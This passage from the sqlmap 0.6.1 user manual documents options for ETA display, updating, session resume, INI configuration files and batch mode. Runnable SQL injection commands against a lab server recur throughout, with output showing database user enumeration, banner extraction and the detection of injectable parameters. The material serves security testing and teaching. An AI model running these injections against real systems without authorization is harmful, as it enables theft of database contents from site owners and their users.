$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" \
  --users --eta -v 1
```

```
[...]
back-end DBMS:  Microsoft SQL Server 2000

[hh:mm:57] [INFO] fetching database users
[hh:mm:57] [INFO] fetching number of database users
[hh:mm:57] [INFO] query: SELECT ISNULL(CAST(LTRIM(STR(COUNT(name))) AS VARCHAR(8000)),
(CHAR(32))) FROM master..syslogins
[hh:mm:57] [INFO] retrieved: 3
[hh:mm:57] [INFO] performed 13 queries in 0 seconds
[hh:mm:57] [INFO] retrieved the length of query output: 22
[hh:mm:57] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM
master..syslogins WHERE name NOT IN (SELECT TOP 0 name FROM master..syslogins ORDER BY name)
ORDER BY name
100% [================================================] 22/22
[hh:mm:58] [INFO] performed 160 queries in 0 seconds
[hh:mm:58] [INFO] retrieved the length of query output: 2
[hh:mm:58] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM
master..syslogins WHERE name NOT IN (SELECT TOP 1 name FROM master..syslogins ORDER BY name)
ORDER BY name
100% [================================================] 2/2
[hh:mm:59] [INFO] performed 20 queries in 0 seconds
[hh:mm:59] [INFO] retrieved the length of query output: 25
[hh:mm:59] [INFO] query: SELECT TOP 1 ISNULL(CAST(name AS VARCHAR(8000)), (CHAR(32))) FROM
master..syslogins WHERE name NOT IN (SELECT TOP 2 name FROM master..syslogins ORDER BY name)
ORDER BY name
100% [================================================] 25/25
[hh:mm:00] [INFO] performed 181 queries in 1 seconds
database management system users [3]:
[*] BUILTIN\Administrators
[*] sa
[*] W2KITINQUIS\Administrator
```

As you can see, sqlmap first calculates the length of the query output, then estimated the time of arrival, shows the progress in percentage and counts the number of retrieved query output characters.

5.7.4 Update sqlmap to the latest stable version

Option: `-update`

It is possible to update sqlmap to the latest stable version available on its SourceForge File List page by running it with the `-update` option.

```
$ python sqlmap.py --update -v 4

[hh:mm:53] [DEBUG] initializing the configuration
[hh:mm:53] [DEBUG] initializing the knowledge base
[hh:mm:53] [DEBUG] cleaning up configuration parameters
[hh:mm:53] [DEBUG] setting the HTTP method to perform HTTP requests through
[hh:mm:53] [DEBUG] creating HTTP requests opener object
[hh:mm:53] [INFO] updating sqlmap
[hh:mm:53] [DEBUG] checking if a new version is available
[hh:mm:55] [TRAFFIC OUT] HTTP request:
GET /doc/VERSION HTTP/1.1
```

```
Host: sqlmap.sourceforge.net
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
Connection: close

[hh:mm:55] [TRAFFIC IN] HTTP response (OK - 200):
Date: Fri, 01 Aug 2008 14:50:55 GMT
Server: Apache/1.3.33 (Unix) PHP/4.3.10
Last-Modified: Thu, 31 Jul 2008 11:10:19 GMT
ETag: "9fcc53e-4-48919d9b"
Accept-Ranges: bytes
Content-Length: 4
Connection: close
Content-Type: text/plain
X-Pad: avoid browser bug

[hh:mm:55] [INFO] you are already running sqlmap latest stable version
[hh:mm:55] [INFO] updating Microsoft SQL Server XML versions file
[hh:mm:56] [TRAFFIC OUT] HTTP request:
GET /FAQs/SQLServerVersionDatabase/tabid/63/Default.aspx HTTP/1.1
Host: www.sqlsecurity.com
User-agent: sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDIOM2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0;
language=en-US
Connection: close

[hh:mm:02] [TRAFFIC IN] HTTP response (OK - 200):
Cache-Control: private
Connection: close
Date: Fri, 01 Aug 2008 14:50:50 GMT
Content-Length: 167918
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Set-Cookie: .ASPXANONYMOUS=dvus03cqyQEkAAAANDIOM2QzZmUtOGRkOS00ZDQxLThhMTUtN2ExMWJiNWVjN2My0;
expires=Fri, 10-Oct-2008 01:30:49 GMT; path=/; HttpOnly
Set-Cookie: language=en-US; path=/; HttpOnly

[hh:mm:02] [INFO] no new Microsoft SQL Server versions since the last update
[hh:mm:02] [DEBUG] parsing XML queries file
```

As you can see, sqlmap first check if a new stable version is available, then in case it is, download it, unzip it and update the Microsoft SQL Server XML versions file from Chip Andrews' SQLSecurity.com site .

Note that the default configuration file `sqlmap.conf` is backupped to `sqlmap.conf.bak` in case a new stable version is available and your copy is updated.

5.7.5 Save and resume all data retrieved on a session file

Option: `-s`

It is possible to log all queries and their output on a text file while performing whatever request, both in blind SQL injection and in inband SQL injection. This is useful if you stop the injection and resume it after some time.

Example on a **PostgreSQL 8.2.7** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \
  -v 1 -s "sqlmap.log"

[...]
back-end DBMS:  PostgreSQL

[hh:mm:42] [INFO] fetching banner
[hh:mm:42] [INFO] query: COALESCE(CAST(VERSION() AS CHARACTER(10000)), (CHR(32)))
[hh:mm:42] [INFO] retrieved: PostgreSQL 8.2.7 o
[hh:mm:43] [ERROR] user aborted
```

As you can see, I stopped the injection with `CTRL-C` while retrieving the PostgreSQL banner and logged the session to text file `sqlmap.log`.

```
$ cat sqlmap.log

[hh:mm:40 MM/DD/YY]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection point][GET]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection parameter][id]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Injection type][numeric]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][Parenthesis][0]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][CONCAT('1', '1')][]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][LENGTH(SYSDATE)][]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][COALESCE(9, NULL)][9]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][LENGTH('9')][1]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][DBMS][PostgreSQL]
[http://192.168.1.121:80/sqlmap/pgsql/get_int.php][GET][id=1&cat=2][VERSION()][PostgreSQL 8.2.7 o
```

As you can see, all queries performed and their output have been logged to the session file in real time while performing the injection.

The session file has a structure as follows:

```
[hh:mm:ss MM/DD/YY]
[Target URL][Injection point][Parameters][Query or information name][Query output or value]
```

Performing the same request now, sqlmap calculates the query length, in the example `VERSION()`, and resumes the injection from the last character retrieved to the end of the query output.

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \
  -v 1 -s "sqlmap.log"

[...]
back-end DBMS:  PostgreSQL

[hh:mm:37] [INFO] fetching banner
[hh:mm:37] [INFO] retrieved the length of query output: 93
[hh:mm:37] [INFO] resumed from file 'sqlmap.log': PostgreSQL 8.2.7 o...
[hh:mm:37] [INFO] retrieving pending 75 query output characters
[hh:mm:37] [INFO] query: COALESCE(CAST(SUBSTR((VERSION()), 19, 93) AS CHARACTER(10000)),
(CHR(32)))
[hh:mm:37] [INFO] starting 1 threads
[hh:mm:37] [INFO] retrieved: n i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu
4.2.3-2ubuntu4)
banner:    'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu
4.2.3-2ubuntu4)'
```

5.7.6 Load options from a configuration INI file

Option: `-c`

It is possible to pass user's option from a configuration INI file, an example is `sqlmap.conf`.

Example on a **MySQL 5.0.51** target:

```
$ python sqlmap.py -c "sqlmap.conf"

[hh:mm:42] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:42] [WARNING] GET parameter 'cat' is not dynamic
back-end DBMS:  MySQL >= 5.0.0
```

5.7.7 Save options on a configuration INI file

Option: `-save`

It is possible to save the command line options to a configuration INI file.

Example on a **PostgreSQL 8.2.7** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b \
  -v 1 --save

[hh:mm:33] [INFO] saved command line options on '/software/sqlmap/sqlmap-ADMcR.conf'
configuration file
[hh:mm:33] [INFO] testing connection to the target url
[hh:mm:33] [INFO] testing if the url is stable, wait a few seconds
[...]
```

As you can see, sqlmap saved the command line options to a configuration INI file, `sqlmap-ADMcR.conf`.

```
$ cat sqlmap-ADMcR.conf

[Request]
aCred =
aType =
agent =
cookie =
data =
googleDork =
method = GET
proxy =
referer =
testParameter =
threads = 1
url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2
userAgentsFile =

[Miscellaneous]
eta = False
sessionFile =
unionTest = False
unionUse = False
updateAll = False
```

```
verbose = 1

[Enumeration]
col =
db =
dumpAll = False
dumpTable = False
excludeSysDbs = False
getBanner = True
getColumns = False
getCurrentDb = False
getCurrentUser = False
getDbs = False
getPasswordHashes = False
getPrivileges = False
getTables = False
getUsers = False
query =
sqlShell = False
tbl =
user =

[File system]
rFile =
wFile =

[Takeover]
osShell = False

[Fingerprint]
extensiveFp = False

[Injection]
dbms =
string =
```

The file is a valid sqlmap configuration INI file. You can edit the configuration options as you wish and pass it to sqlmap with the `-c` option as explained in the previous paragraph:

```
$ python sqlmap.py -c "sqlmap-ADMcR.conf"

[...]
back-end DBMS:  PostgreSQL

[hh:mm:10] [INFO] fetching banner
[hh:mm:10] [INFO] query: COALESCE(CAST(VERSION() AS CHARACTER(10000)), (CHR(32)))
[hh:mm:10] [INFO] retrieved: PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC)
4.2.3 (Ubuntu 4.2.3-2ubuntu4)
[hh:mm:16] [INFO] performed 657 queries in 6 seconds
banner:    'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu
4.2.3-2ubuntu4)'
```

5.7.8 Act in non-interactive mode

Option: `-batch`

If you want sqlmap to run as a batch tool, without interacting with you in case of a choice has to be done, you can force it by using `-batch` option than letting sqlmap go for a default behaviour.

Example on a **MySQL 5.0.51** target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_str.php?id=1&name=luther" -v 1 \
  --batch

[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'id'
[hh:mm:22] [INFO] confirming unescaped numeric injection on GET parameter 'id'
[hh:mm:22] [INFO] GET parameter 'id' is unescaped numeric injectable with 0 parenthesis
[hh:mm:22] [INFO] testing if GET parameter 'name' is dynamic
[hh:mm:22] [INFO] confirming that GET parameter 'name' is dynamic
[hh:mm:22] [INFO] GET parameter 'name' is dynamic
[hh:mm:22] [INFO] testing sql injection on GET parameter 'name' with 0 parenthesis
[hh:mm:22] [INFO] testing unescaped numeric injection on GET parameter 'name'
[hh:mm:22] [INFO] GET parameter 'name' is not unescaped numeric injectable
[hh:mm:22] [INFO] testing single quoted string injection on GET parameter 'name'
[hh:mm:22] [INFO] confirming single quoted string injection on GET parameter 'name'
[hh:mm:22] [INFO] GET parameter 'name' is single quoted string injectable with 0 parenthesis
[hh:mm:22] [INFO] there were multiple injection points, please select the one to use to go ahead:
[0] place: GET, parameter: id, type: numeric (default)
[1] place: GET, parameter: name, type: stringsingle
[q] Quit
Choice: 0
[hh:mm:22] [DEBUG] used the default behaviour, running in batch mode
[...]
back-end DBMS:  MySQL >= 5.0.0
```

As you can see, sqlmap choosed automatically to injection on the first vulnerable parameter which is the default behaviour.

6 Disclaimer

sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

Whatever you do with this tool is uniquely your responsability. If you are not authorized to punch holes in the network you are attacking be aware that such action might get you in trouble with a lot of law enforcement agencies.

7 Authors

- Bernardo Damele A. G. (inquis) - project leader, core developer. PGP Key ID: 0x05F5A30F
- Daniele Bellucci (belch) - project founder, initial developer. PGP Key ID: 0x9A0E8190